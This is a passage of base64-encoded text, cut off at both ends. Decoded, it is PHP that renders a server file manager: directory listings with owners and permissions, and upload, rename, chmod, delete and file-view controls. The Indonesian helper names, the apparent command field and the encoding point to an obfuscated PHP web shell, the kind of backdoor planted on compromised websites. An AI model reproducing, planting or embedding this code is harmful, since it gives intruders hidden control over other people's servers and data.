0Y21kXCIgc3R5bGU9XCJ3aWR0aDo4MHB4O1wiIC8+PC90ZD48L3RyPjwvY2VudGVyPgogICAgCiAgICA8L2Zvcm0+PC90YWJsZT48YnI+PHRhYmxlIGNsYXNzPVwiZXhwbG9yZVwiPgogICAgPHRyPjx0aD5OYW1lPC90aD48dGggc3R5bGU9XCJ3aWR0aDo4MHB4O1wiPlNpemU8L3RoPjx0aCBzdHlsZT1cIndpZHRoOjIxMHB4O1wiPk93bmVyOkdyb3VwPC90aD48dGggc3R5bGU9XCJ3aWR0aDo4MHB4O1wiPlBlcm1zPC90aD48dGggc3R5bGU9XCJ3aWR0aDoxMTBweDtcIj5Nb2RpZmllZDwvdGg+PHRoIHN0eWxlPVwid2lkdGg6MTkwcHg7XCI+QWN0aW9uczwvdGg+PC90cj4KICAgICI7CiAgICBpZigkdHJlZSA+IDIpIGZvcigkaT0wOyRpPCR0cmVlLTI7JGkrKykgJHBhcmVudCAuPSAkcGF0aFskaV0uRElSRUNUT1JZX1NFUEFSQVRPUjsKICAgIGVsc2UgJHBhcmVudCA9ICRwd2Q7ICAKCiAgICBmb3JlYWNoKCRkbmFtZSBhcyAkZm9sZGVyKXsKICAgICAgICBpZigkZm9sZGVyID09ICIuIikgewogICAgICAgICAgICBpZighJHdpbiAmJiAkcG9zaXgpewogICAgICAgICAgICAgICAgJG5hbWU9QHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoJGZvbGRlcikpOwogICAgICAgICAgICAgICAgJGdyb3VwPUBwb3NpeF9nZXRncmdpZChAZmlsZWdyb3VwKCRmb2xkZXIpKTsKICAgICAgICAgICAgICAgICRvd25lciA9ICRuYW1lWyduYW1lJ10uIjxzcGFuIGNsYXNzPVwiZ2F5YVwiPiA6IDwvc3Bhbj4iLiRncm91cFsnbmFtZSddOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGVsc2UgewogICAgICAgICAgICAgICAgJG93bmVyID0gJHVzZXI7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJGJ1ZmYgLj0gIjx0cj48dGQ+PGEgaHJlZj1cIj95PSIuJHB3ZC4iXCI+JGZvbGRlcjwvYT48L3RkPjx0ZD4tPC90ZD4KICAgICAgICAgICAgPHRkIHN0eWxlPVwidGV4dC1hbGlnbjpjZW50ZXI7XCI+Ii4kb3duZXIuIjwvdGQ+PHRkPjxjZW50ZXI+Ii5nZXRfcGVybXMoJHB3ZCkuIjwvY2VudGVyPjwvdGQ+CiAgICAgICAgICAgIDx0ZCBzdHlsZT1cInRleHQtYWxpZ246Y2VudGVyO1wiPiIuZGF0ZSgiZC1NLVkgSDppIixAZmlsZW10aW1lKCRwd2QpKS4iPC90ZD48dGQ+PHNwYW4gaWQ9XCJ0aXRpazFcIj4KICAgICAgICAgICAgPGEgaHJlZj1cIj95PSRwd2QmYW1wO2VkaXQ9Ii4kcHdkLiJuZXdmaWxlLnBocFwiPk5ldyBGaWxlPC9hPiB8IDxhIGhyZWY9XCJqYXZhc2NyaXB0OnR1a2FyKCd0aXRpazEnLCd0aXRpazFfZm9ybScpO1wiPk5ldyBGb2xkZXI8L2E+IHwgPGEgaHJlZj1cImphdmFzY3JpcHQ6dHVrYXIoJ3RpdGlrMScsJ3RpdGlrNF9mb3JtJyk7XCI+VXBsb2FkPC9hPjwvc3Bhbj4KICAgICAgICAgICAgPGZvcm0gYWN0aW9uPVwiP1wiIG1ldGhvZD1cImdldFwiIGlkPVwidGl0aWsxX2Zvcm1cIiBjbGFzcz1cInNlbWJ1bnlpXCIgc3R5bGU9XCJtYXJnaW46MDtwYWRkaW5nOjA7XCI+CiAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInlcIiB2YWx1ZT1cIiIuJHB3ZC4iXCIgLz4KICAgICAgICAgICAgPGlucHV0IGNsYXNzPVwiaW5wdXR6XCIgc3R5bGU9XCJ3aWR0aDoxNDBweDtcIiB0eXBlPVwidGV4dFwiIG5hbWU9XCJta2RpclwiIHZhbHVlPVwiYV9uZXdfZm9sZGVyXCIgLz4KICAgICAgICAgICAgPGlucHV0IGNsYXNzPVwiaW5wdXR6YnV0XCIgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJSZW5hbWVcIiBzdHlsZT1cIndpZHRoOjM1cHg7XCIgdmFsdWU9XCJHbyAhXCIgLz4KICAgICAgICAgICAgPC9mb3JtPgogICAgICAgICAgICA8Zm9ybSBhY3Rpb249XCJcIiBpZD1cInRpdGlrNF9mb3JtXCIgbWV0aG9kPVwicG9zdFwiIGVuY3R5cGU9XCJtdWx0aXBhcnQvZm9ybS1kYXRhXCIgY2xhc3M9XCJzZW1idW55aVwiIHN0eWxlPVwibWFyZ2luOjA7cGFkZGluZzowO1wiPgogICAgICAgICAgICA8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJ5XCIgdmFsdWU9XCIiLiRwd2QuIlwiIC8+CiAgICAgICAgICAgIDxpbnB1dCBjbGFzcz1cImlucHV0elwiIHR5cGU9XCJmaWxlXCIgbmFtZT1cImZpbGVcIiBzaXplPVwiMjBcIi8+PGJyPgogICAgICAgICAgICA8aW5wdXQgY2xhc3M9XCJpbnB1dHpidXRcIiBuYW1lPVwiX3VwbFwiIHR5cGU9XCJzdWJtaXRcIiBpZD1cIl91cGxcIiB2YWx1ZT1cIlVwbG9hZFwiLz4KICAgICAgICAgICAgPGlucHV0IGNsYXNzPVwiaW5wdXR6YnV0XCIgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJDYW5jZWxcIiB2YWx1ZT1cIkNhbmNlbFwiIAogICAgICAgICAgICBvbmNsaWNrPVwidHVrYXIoJyIuY2xlYXJzcGFjZSgkZm9sZGVyKS4iX2xpbmsnLCciLmNsZWFyc3BhY2UoJGZvbGRlcikuIl9mb3JtMycpO1wiIC8+CiAgICAgICAgICAgIDwvZm9ybT48L3RkPgogICAgICAgICAgICAKICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgIjsKICAgICAgICB9CiAgICAgICAgZWxzZWlmKCRmb2xkZXIgPT0gIi4uIikgewogICAgICAgICAgICBpZighJHdpbiAmJiAkcG9zaXgpewogICAgICAgICAgICAgICAgJG5hbWU9QHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoJGZvbGRlcikpOwogICAgICAgICAgICAgICAgJGdyb3VwPUBwb3NpeF9nZXRncmdpZChAZmlsZWdyb3VwKCRmb2xkZXIpKTsKICAgICAgICAgICAgICAgICRvd25lciA9ICRuYW1lWyduYW1lJ10uIjxzcGFuIGNsYXNzPVwiZ2F5YVwiPiA6IDwvc3Bhbj4iLiRncm91cFsnbmFtZSddOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGVsc2UgewogICAgICAgICAgICAgICAgJG93bmVyID0gJHVzZXI7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJGJ1ZmYgLj0gIjx0cj48dGQ+PGEgaHJlZj1cIj95PSIuJHBhcmVudC4iXCI+PGltZyBzcmM9J2RhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQkFBQUFBUUNBWUFBQUFmOC85aEFBQUFBWE5TUjBJQXJzNGM2UUFBQUFaaVMwZEVBUDhBL3dEL29MMm5rd0FBQUFsd1NGbHpBQUFOMWdBQURkWUJrRzk1bkFBQUFBZDBTVTFGQjlvSkJ4VUFNMHFMejZ3QUFBTExTVVJCVkRqTGJWUFJTMU5SR1ArZDNidHJzN2tabUFZWGxTWllVSzRIUVhDUkVQV1VRU1NZSUQxR0VLS3gvQWYyNWxNK0RDRkNlNGhleWdjTmRJVUVTVDA0UVc2QmpTMHl4NVVoa1c2RkV0dk9QZmM3cDRlbVhjb2ZIUGc0NTN5LzczZSs3M2NBRHl6TE9veS9iSHpSOC9sODBMYnRZRDV2NndmNzJWek9td0xtVGU3dTdvWmxXY2NiR2hwR05KOTJIUXd0dGVOdlNxbVhKT1dqTTUyZFBQTXBnL05kNS84U3BGSXA5UGYzdzdLc1M0RkE0QmxqckIxSFFDbVZjNFY3TzNvaCttRmxaUVd4V0F3c2tVZ2drVWhnZVhrNUZnNkhGNW1QbldDQUFoaFRVR0NLUVVGNWViNExJYTcyOVBSa25yOTQva2ZCd01EQXNYZzgvdEh2OTU4Rm9EeFA4OFllSlRMZDJ4dUxBWUFQQUlhR2h1NUlLYzl5enNFNVo0N2pZSFYxOVVPcFZOb1hRc0M3T09kd0hORzd0TFIwRXdEMFVDaXM2N3AyblhNT0FDaVhLNy9ldjMvM1pISnk4bkV5bVp3eURNTThxRXhFeWpUTjl2cjYrb0FRNGdhQWVmM2l4VmdkNTg0cHcrRFkzZDB0VEU5UGo2VFQ2VGZCWUpDUGo0L2ZCdUEvSUJCQytHWm1aaFpiV2xyT09ZNWpEZzhQYTNxcFZFS2xVb0hmNzBjZ0VHZ2VIUjJOUEhnUVY0T0R0OVRzN0t3RVFBQ2dhUnBTcVZkUVNyRnF0WXBxdFNwdDJ3WURZRXhNVE15M3RiVmRrMUxXcHFYZWJtMXQzVGROODZtdTY1RmFNdytzRTJLTTZUOS8vcGdhR3hzYjFRRTRhMnRycjV1YW1xNTVHbjJsK1dSeldnaWhFVkg5RVg1QUpwT1pCd0FOQUhLNVhLR2pvNk92c2JIUmRGMFhSQVFwWloyVTBrOUVpb2dZRVlHSWxKU1MyYlk5bTB3bUh3SlFXbzMwMS9iMmRpRVNpVncyakxvUUVURnlYZVdTeTRoYzVycUhKS3hZTEdibjV1YnVGb3ZGMHFFQ0FOamYzN2UvYm16a2pEcmpkQ2dVYW1VK01DSUpJZ2twaVpYTFpabk5aaGNXRmhidWJXNXVmdTdxNnNMT3pzNy9MZ1BRM3RyYTJoK05SdnZDNGZBcEFISnZiMjlyZlgxOXFWQW92QWF3ZCtSdi9BYytBTWNBR0xVSlZBQTRSMTM4RGVGK2NYK3hSL0FHQUFBQUFFbEZUa1N1UW1DQyc+PC9hPjwvdGQ+PHRkPi08L3RkPgogICAgICAgICAgICA8dGQgc3R5bGU9XCJ0ZXh0LWFsaWduOmNlbnRlcjtcIj4iLiRvd25lci4iPC90ZD4KICAgICAgICAgICAgPHRkPjxjZW50ZXI+Ii5nZXRfcGVybXMoJHBhcmVudCkuIjwvY2VudGVyPjwvdGQ+PHRkIHN0eWxlPVwidGV4dC1hbGlnbjpjZW50ZXI7XCI+Ii5kYXRlKCJkLU0tWSBIOmkiLEBmaWxlbXRpbWUoJHBhcmVudCkpLiI8L3RkPgogICAgICAgICAgICA8dGQ+PHNwYW4gaWQ9XCJ0aXRpazJcIj48YSBocmVmPVwiP3k9JHB3ZCZhbXA7ZWRpdD0iLiRwYXJlbnQuIm5ld2ZpbGUucGhwXCI+TmV3IEZpbGU8L2E+IHwgPGEgaHJlZj1cImphdmFzY3JpcHQ6dHVrYXIoJ3RpdGlrMicsJ3RpdGlrMl9mb3JtJyk7XCI+TmV3IEZvbGRlcjwvYT4gfCA8YSBocmVmPVwiamF2YXNjcmlwdDp0dWthcigndGl0aWsyJywndGl0aWszX2Zvcm0nKTtcIj5VcGxvYWQ8L2E+PC9zcGFuPgogICAgICAgICAgICA8Zm9ybSBhY3Rpb249XCI/XCIgbWV0aG9kPVwiZ2V0XCIgaWQ9XCJ0aXRpazJfZm9ybVwiIGNsYXNzPVwic2VtYnVueWlcIiBzdHlsZT1cIm1hcmdpbjowO3BhZGRpbmc6MDtcIj4KICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwieVwiIHZhbHVlPVwiIi4kcHdkLiJcIiAvPgogICAgICAgICAgICA8aW5wdXQgY2xhc3M9XCJpbnB1dHpcIiBzdHlsZT1cIndpZHRoOjE0MHB4O1wiIHR5cGU9XCJ0ZXh0XCIgbmFtZT1cIm1rZGlyXCIgdmFsdWU9XCJhX25ld19mb2xkZXJcIiAvPgogICAgICAgICAgICA8aW5wdXQgY2xhc3M9XCJpbnB1dHpidXRcIiB0eXBlPVwic3VibWl0XCIgbmFtZT1cIlJlbmFtZVwiIHN0eWxlPVwid2lkdGg6MzVweDtcIiB2YWx1ZT1cIkdvICFcIiAvPgogICAgICAgICAgICA8L2Zvcm0+CiAgICAgICAgICAgIDxmb3JtIGFjdGlvbj1cIlwiIGlkPVwidGl0aWszX2Zvcm1cIiBtZXRob2Q9XCJwb3N0XCIgZW5jdHlwZT1cIm11bHRpcGFydC9mb3JtLWRhdGFcIiBjbGFzcz1cInNlbWJ1bnlpXCIgc3R5bGU9XCJtYXJnaW46MDtwYWRkaW5nOjA7XCI+CiAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInlcIiB2YWx1ZT1cIiIuJHB3ZC4iXCIgLz4KICAgICAgICAgICAgPGlucHV0IGNsYXNzPVwiaW5wdXR6XCIgdHlwZT1cImZpbGVcIiBuYW1lPVwiZmlsZVwiIHNpemU9XCIyMFwiLz48YnI+CiAgICAgICAgICAgIDxpbnB1dCBjbGFzcz1cImlucHV0emJ1dFwiIG5hbWU9XCJfdXBsXCIgdHlwZT1cInN1Ym1pdFwiIGlkPVwiX3VwbFwiIHZhbHVlPVwiVXBsb2FkXCIvPgogICAgICAgICAgICA8aW5wdXQgY2xhc3M9XCJpbnB1dHpidXRcIiB0eXBlPVwic3VibWl0XCIgbmFtZT1cIkNhbmNlbFwiIHZhbHVlPVwiQ2FuY2VsXCIgCiAgICAgICAgICAgIG9uY2xpY2s9XCJ0dWthcignIi5jbGVhcnNwYWNlKCRmb2xkZXIpLiJfbGluaycsJyIuY2xlYXJzcGFjZSgkZm9sZGVyKS4iX2Zvcm0zJyk7XCIgLz4KICAgICAgICAgICAgPC9mb3JtPgogICAgICAgICAgICA8L3RkPjwvdHI+IjsKICAgICAgICB9CiAgICAgICAgZWxzZSB7CiAgICAgICAgICAgIGlmKCEkd2luICYmICRwb3NpeCl7CiAgICAgICAgICAgICAgICAkbmFtZT1AcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigkZm9sZGVyKSk7CiAgICAgICAgICAgICAgICAkZ3JvdXA9QHBvc2l4X2dldGdyZ2lkKEBmaWxlZ3JvdXAoJGZvbGRlcikpOwogICAgICAgICAgICAgICAgJG93bmVyID0gJG5hbWVbJ25hbWUnXS4iPHNwYW4gY2xhc3M9XCJnYXlhXCI+IDogPC9zcGFuPiIuJGdyb3VwWyduYW1lJ107CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWxzZSB7CiAgICAgICAgICAgICAgICAkb3duZXIgPSAkdXNlcjsKICAgICAgICAgICAgfQogICAgICAgICAgICAkYnVmZiAuPSAiPHRyPjx0ZD48YSBpZD1cIiIuY2xlYXJzcGFjZSgkZm9sZGVyKS4iX2xpbmtcIiBocmVmPVwiP3k9Ii4kcHdkLiRmb2xkZXIuRElSRUNUT1JZX1NFUEFSQVRPUi4iXCI+PGI+PGltZyBzcmM9J2RhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQkFBQUFBUUNBUUFBQUMxK2pmcUFBQUFBWE5TUjBJQXJzNGM2UUFBQUFKaVMwZEVBUCtIajh5L0FBQUFDWEJJV1hNQUFBc1RBQUFMRXdFQW1wd1lBQUFBMDBsRVFWUW96NldSdlVwRFVSQ0V2em11d1I4czhncjJFVHZ0TFNSYUtqNkFyWlUrVlZBRXdTcXZKSWhJd2lYMzNuUE8ySWdheUsyY2J0bVpXVDRXL2l2OUhlYWNBNjk3TlFSWTI4MUZyMGR1MWhKUHQ5MEQreGdjNmZud1hqQzc5Sld5UWRpVGZPcmY0bmsvalpmMGNWZW5JcEVRSW1HalFzVm9kMmNyeXZINFRFWkMzMGtMak1FK0tVZFJsMjRaRFFCa3J5SXZ0T0pnZ0xHcmkraGJkWGdkOTBlOSsraHo2clI1all0elpLc0lEemh3RkRUUUR6WkVzVHo4Q1JPNXBtVnFCMjQwdWNSYk03a2VqVGNhbEJmdm4xOTVFVitFYWpGMWhnQUFBQUJKUlU1RXJrSmdnZz09JyAvPiAgWyAkZm9sZGVyIF08L2I+PC9hPgogICAgICAgICAgICA8Zm9ybSBhY3Rpb249XCI/eT0kcHdkXCIgbWV0aG9kPVwicG9zdFwiIGlkPVwiIi5jbGVhcnNwYWNlKCRmb2xkZXIpLiJfZm9ybVwiIGNsYXNzPVwic2VtYnVueWlcIiBzdHlsZT1cIm1hcmdpbjowO3BhZGRpbmc6MDtcIj4KICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwib2xkbmFtZVwiIHZhbHVlPVwiIi4kZm9sZGVyLiJcIiBzdHlsZT1cIm1hcmdpbjowO3BhZGRpbmc6MDtcIiAvPgogICAgICAgICAgICA8aW5wdXQgY2xhc3M9XCJpbnB1dHpcIiBzdHlsZT1cIndpZHRoOjIwMHB4O1wiIHR5cGU9XCJ0ZXh0XCIgbmFtZT1cIm5ld25hbWVcIiB2YWx1ZT1cIiIuJGZvbGRlci4iXCIgLz4KICAgICAgICAgICAgPGlucHV0IGNsYXNzPVwiaW5wdXR6YnV0XCIgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJSZW5hbWVcIiB2YWx1ZT1cIlJlbmFtZVwiIC8+CiAgICAgICAgICAgIDxpbnB1dCBjbGFzcz1cImlucHV0emJ1dFwiIHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwiQ2FuY2VsXCIgdmFsdWU9XCJDYW5jZWxcIiBvbmNsaWNrPVwidHVrYXIoJyIuY2xlYXJzcGFjZSgkZm9sZGVyKS4iX2Zvcm0nLCciLmNsZWFyc3BhY2UoJGZvbGRlcikuIl9saW5rJyk7XCIgLz4KICAgICAgICAgICAgPC9mb3JtPjx0ZD5ESVI8L3RkPjx0ZCBzdHlsZT1cInRleHQtYWxpZ246Y2VudGVyO1wiPiIuJG93bmVyLiI8L3RkPgogICAgICAgICAgICA8dGQ+PGNlbnRlcj4KICAgICAgICAgICAgPGEgaHJlZj1cImphdmFzY3JpcHQ6dHVrYXIoJyIuY2xlYXJzcGFjZSgkZm9sZGVyKS4iX2xpbmsnLCciLmNsZWFyc3BhY2UoJGZvbGRlcikuIl9mb3JtMycpO1wiPiIuZ2V0X3Blcm1zKCRwd2QuJGZvbGRlcikuIjwvYT4KICAgICAgICAgICAgPGZvcm0gYWN0aW9uPVwiP3k9JHB3ZFwiIG1ldGhvZD1cInBvc3RcIiBpZD1cIiIuY2xlYXJzcGFjZSgkZm9sZGVyKS4iX2Zvcm0zXCIgY2xhc3M9XCJzZW1idW55aVwiIHN0eWxlPVwibWFyZ2luOjA7cGFkZGluZzowO1wiPiAKICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwibmFtZVwiIHZhbHVlPVwiIi4kZm9sZGVyLiJcIiBzdHlsZT1cIm1hcmdpbjowO3BhZGRpbmc6MDtcIiAvPiAKICAgICAgICAgICAgPGlucHV0IGNsYXNzPVwiaW5wdXR6XCIgc3R5bGU9XCJ3aWR0aDoxNTBweDtcIiB0eXBlPVwidGV4dFwiIG5hbWU9XCJuZXd2YWx1ZVwiIHZhbHVlPVwiIi5zdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJHB3ZC4kZm9sZGVyKSksIC00KS4iXCIgLz4gCiAgICAgICAgICAgIDxpbnB1dCBjbGFzcz1cImlucHV0emJ1dFwiIHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwiQ2htb2RfZm9sZGVyXCIgdmFsdWU9XCJDaG1vZFwiIC8+IAogICAgICAgICAgICA8aW5wdXQgY2xhc3M9XCJpbnB1dHpidXRcIiB0eXBlPVwic3VibWl0XCIgbmFtZT1cIkNhbmNlbFwiIHZhbHVlPVwiQ2FuY2VsXCIgCiAgICAgICAgICAgIG9uY2xpY2s9XCJ0dWthcignIi5jbGVhcnNwYWNlKCRmb2xkZXIpLiJfbGluaycsJyIuY2xlYXJzcGFjZSgkZm9sZGVyKS4iX2Zvcm0zJyk7XCIgLz48L2Zvcm0+PC9jZW50ZXI+PC90ZD4KICAgICAgICAgICAgPHRkIHN0eWxlPVwidGV4dC1hbGlnbjpjZW50ZXI7XCI+Ii5kYXRlKCJkLU0tWSBIOmkiLEBmaWxlbXRpbWUoJGZvbGRlcikpLiI8L3RkPgogICAgICAgICAgICA8dGQ+PGEgaHJlZj1cImphdmFzY3JpcHQ6dHVrYXIoJyIuY2xlYXJzcGFjZSgkZm9sZGVyKS4iX2xpbmsnLCciLmNsZWFyc3BhY2UoJGZvbGRlcikuIl9mb3JtJyk7XCI+UmVuYW1lPC9hPiB8IDxhIGhyZWY9XCJqYXZhc2NyaXB0OnR1a2FyKCciLmNsZWFyc3BhY2UoJGZvbGRlcikuIl9saW5rJywnIi5jbGVhcnNwYWNlKCRmb2xkZXIpLiJfZm9ybTQnKTtcIj5VcGxvYWQ8L2E+IHwgPGEgaHJlZj1cIj95PSRwd2QmYW1wO2ZkZWxldGU9Ii4kcHdkLiRmb2xkZXIuIlwiPkRlbGV0ZTwvYT48L3NwYW4+CiAgICAgICAgICAgIDxmb3JtIGFjdGlvbj1cIlwiIGlkPVwiIi5jbGVhcnNwYWNlKCRmb2xkZXIpLiJfZm9ybTRcIiBtZXRob2Q9XCJwb3N0XCIgZW5jdHlwZT1cIm11bHRpcGFydC9mb3JtLWRhdGFcIiBjbGFzcz1cInNlbWJ1bnlpXCIgc3R5bGU9XCJtYXJnaW46MDtwYWRkaW5nOjA7XCI+CiAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInlcIiB2YWx1ZT1cIiIuJHB3ZC4iXCIgLz4KICAgICAgICAgICAgPGlucHV0IGNsYXNzPVwiaW5wdXR6XCIgdHlwZT1cImZpbGVcIiBuYW1lPVwiZmlsZVwiIHNpemU9XCIyMFwiLz48YnI+CiAgICAgICAgICAgIDxpbnB1dCBjbGFzcz1cImlucHV0elwiIG5hbWU9XCJwYXRoXCIgdHlwZT1cInRleHRcIiBzaXplPVwiMzNcIiB2YWx1ZT1cIiIuJHB3ZC4kZm9sZGVyLkRJUkVDVE9SWV9TRVBBUkFUT1IuIlwiIC8+PGJyPgogICAgICAgICAgICA8aW5wdXQgY2xhc3M9XCJpbnB1dHpidXRcIiBuYW1lPVwidXBsb2FkY29tcHRcIiB0eXBlPVwic3VibWl0XCIgdmFsdWU9XCJVcGxvYWRcIi8+CiAgICAgICAgICAgIDxpbnB1dCBjbGFzcz1cImlucHV0emJ1dFwiIHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwiQ2FuY2VsXCIgdmFsdWU9XCJDYW5jZWxcIiAKICAgICAgICAgICAgb25jbGljaz1cInR1a2FyKCciLmNsZWFyc3BhY2UoJGZvbGRlcikuIl9saW5rJywnIi5jbGVhcnNwYWNlKCRmb2xkZXIpLiJfZm9ybTQnKTtcIiAvPgogICAgICAgICAgICA8L2Zvcm0+CiAgICAgICAgICAgIDwvdGQ+PC90cj4iOwogICAgICAgIH0KICAgIH0KCiAgICBmb3JlYWNoKCRmbmFtZSBhcyAkZmlsZSl7CiAgICAgICAgJGZ1bGwgPSAkcHdkLiRmaWxlOwogICAgICAgIGlmKCEkd2luICYmICRwb3NpeCl7CiAgICAgICAgICAgICRuYW1lPUBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCRmb2xkZXIpKTsKICAgICAgICAgICAgJGdyb3VwPUBwb3NpeF9nZXRncmdpZChAZmlsZWdyb3VwKCRmb2xkZXIpKTsKICAgICAgICAgICAgJG93bmVyID0gJG5hbWVbJ25hbWUnXS4iPHNwYW4gY2xhc3M9XCJnYXlhXCI+IDogPC9zcGFuPiIuJGdyb3VwWyduYW1lJ107CiAgICAgICAgfQogICAgICAgIGVsc2UgewogICAgICAgICAgICAkb3duZXIgPSAkdXNlcjsKICAgICAgICB9ICAgICAgIAogICAgICAgICRidWZmIC49ICI8dHI+PHRkPjxhIGlkPVwiIi5jbGVhcnNwYWNlKCRmaWxlKS4iX2xpbmtcIiBocmVmPVwiP3k9JHB3ZCZhbXA7dmlldz0kZnVsbFwiPjxiPjxpbWcgc3JjPSdkYXRhOmltYWdlL3BuZztiYXNlNjQsaVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQUJBQUFBQVFDQVlBQUFBZjgvOWhBQUFBQVhOU1IwSUFyczRjNlFBQUFBWmlTMGRFQVA4QS93RC9vTDJua3dBQUFBbHdTRmx6QUFBTEV3QUFDeE1CQUpxY0dBQUFBQWQwU1UxRkI5b0pCaGNUSnYyQjJkNEFBQUpNU1VSQlZEakxiWk85VGh4WkVJVy9xbHZkdE0zOEJOZ0pRbVFnSkdkK0EvTVFCTHdHaml3SDNud2RrU0x0TzJ4RVJHNUxxeFhSU0lSMllEZkQ0R2tHTTBQM3JiNGI5UEF6MGw3cFNsV2xXMGZubkxvbEFJUEI0UFhoNGVGdW51Y0FJSUx3ZEVTZVp5QWlmbnA2K3U5b05MbzNnTTNOelRkSFIrLy96dkpNelN5SktLb2RpSWc4QVhheGVJejFiRFo3TXhxTmZ0Z1NVUkRXeTdMVW5aMGRZbXhBRkFWRWxJNkFFQ3lnSXNRUXNpekxCT0FCQURPaktBcHFoN3U3R29DVVdpd1liZXRvVUhyclBjd0Nxb0YyS1VlWEx6RXpCdjArdVFtU0hNRVo5RjZTWmNyNmk0SXNCT2EvYjdIUU1hSHRJQXdnTGRIYWxEQTFldjBlUWJTanJFclF3SnBxRjRlQXgvaG9xRDEzMm1Na0pyaTV1U09sRmhFaHBVUUlpb2p3YW1PRE5zbGpmVVdDcXBMbk9hYUNTS0p0bmFCQ3NaWWpBbGxtWEk0dmFlb2FWWDBjYlNkaG1VUjN6QUt2TmpZNlZpb28wdFd6Z0VvbktiVytLa0dXdDNVbnQwQ2VHZkpzOWcrVVUwckVHSEgvSHcvTWpINi9UK1BPZEZvUk5LQ2hNMjJ4bU9QZXNwalBHUTZIcE5RMjd0NnNBQ0RTTmFueW9sakRMRWRWYUZPTGU4WmtVaks1dWtxM3Q3OWxQQzcvT0RrNUdhK1k2TzVNcXltTnczVjF5M2h5emZYMGhxdkpMeWJYRmQrK2YyZDNkMGRtcytxdmc0T0R6OGZIeDAvTHNiZTM5NjRzUzcrNHVFanVucHFtU2U2ZTNEM041L04wV1pidGx5OWYwOW5aMlovYjI5djJmTEVldnZLOXF2N2MydG9LaThVaWlRaXFIYm02cmlXNmExM2ZuK3p2NzMrb3FvcmhjTGdLVUZYVlArZm41MitMb25qOElMSjBQOFpJQ0NGOS9QVHBDbGhwQnZnUGVsb0w5VTU1TklBQUFBQUFTVVZPUks1Q1lJST0nIC8+ICAgJGZpbGU8L2I+PC9hPgogICAgICAgIDxmb3JtIGFjdGlvbj1cIj95PSRwd2RcIiBtZXRob2Q9XCJwb3N0XCIgaWQ9XCIiLmNsZWFyc3BhY2UoJGZpbGUpLiJfZm9ybVwiIGNsYXNzPVwic2VtYnVueWlcIiBzdHlsZT1cIm1hcmdpbjowO3BhZGRpbmc6MDtcIj4KICAgICAgICA8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJvbGRuYW1lXCIgdmFsdWU9XCIiLiRmaWxlLiJcIiBzdHlsZT1cIm1hcmdpbjowO3BhZGRpbmc6MDtcIiAvPgogICAgICAgIDxpbnB1dCBjbGFzcz1cImlucHV0elwiIHN0eWxlPVwid2lkdGg6MjAwcHg7XCIgdHlwZT1cInRleHRcIiBuYW1lPVwibmV3bmFtZVwiIHZhbHVlPVwiIi4kZmlsZS4iXCIgLz4KICAgICAgICA8aW5wdXQgY2xhc3M9XCJpbnB1dHpidXRcIiB0eXBlPVwic3VibWl0XCIgbmFtZT1cIlJlbmFtZVwiIHZhbHVlPVwiUmVuYW1lXCIgLz4KICAgICAgICA8aW5wdXQgY2xhc3M9XCJpbnB1dHpidXRcIiB0eXBlPVwic3VibWl0XCIgbmFtZT1cIkNhbmNlbFwiIHZhbHVlPVwiQ2FuY2VsXCIgb25jbGljaz1cInR1a2FyKCciLmNsZWFyc3BhY2UoJGZpbGUpLiJfbGluaycsJyIuY2xlYXJzcGFjZSgkZmlsZSkuIl9mb3JtJyk7XCIgLz4KICAgICAgICA8L2Zvcm0+PC90ZD48dGQ+Ii51a3VyYW4oJGZ1bGwpLiI8L3RkPjx0ZCBzdHlsZT1cInRleHQtYWxpZ246Y2VudGVyO1wiPiIuJG93bmVyLiI8L3RkPjx0ZD48Y2VudGVyPgogICAgICAgIDxhIGhyZWY9XCJqYXZhc2NyaXB0OnR1a2FyKCciLmNsZWFyc3BhY2UoJGZpbGUpLiJfbGluaycsJyIuY2xlYXJzcGFjZSgkZmlsZSkuIl9mb3JtMicpO1wiPiIuZ2V0X3Blcm1zKCRmdWxsKS4iPC9hPgogICAgICAgIDxmb3JtIGFjdGlvbj1cIj95PSRwd2RcIiBtZXRob2Q9XCJwb3N0XCIgaWQ9XCIiLmNsZWFyc3BhY2UoJGZpbGUpLiJfZm9ybTJcIiBjbGFzcz1cInNlbWJ1bnlpXCIgc3R5bGU9XCJtYXJnaW46MDtwYWRkaW5nOjA7XCI+IAo8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJuYW1lXCIgdmFsdWU9XCIiLiRmaWxlLiJcIiBzdHlsZT1cIm1hcmdpbjowO3BhZGRpbmc6MDtcIiAvPiAKPGlucHV0IGNsYXNzPVwiaW5wdXR6XCIgc3R5bGU9XCJ3aWR0aDoxNTBweDtcIiB0eXBlPVwidGV4dFwiIG5hbWU9XCJuZXd2YWx1ZVwiIHZhbHVlPVwiIi5zdWJz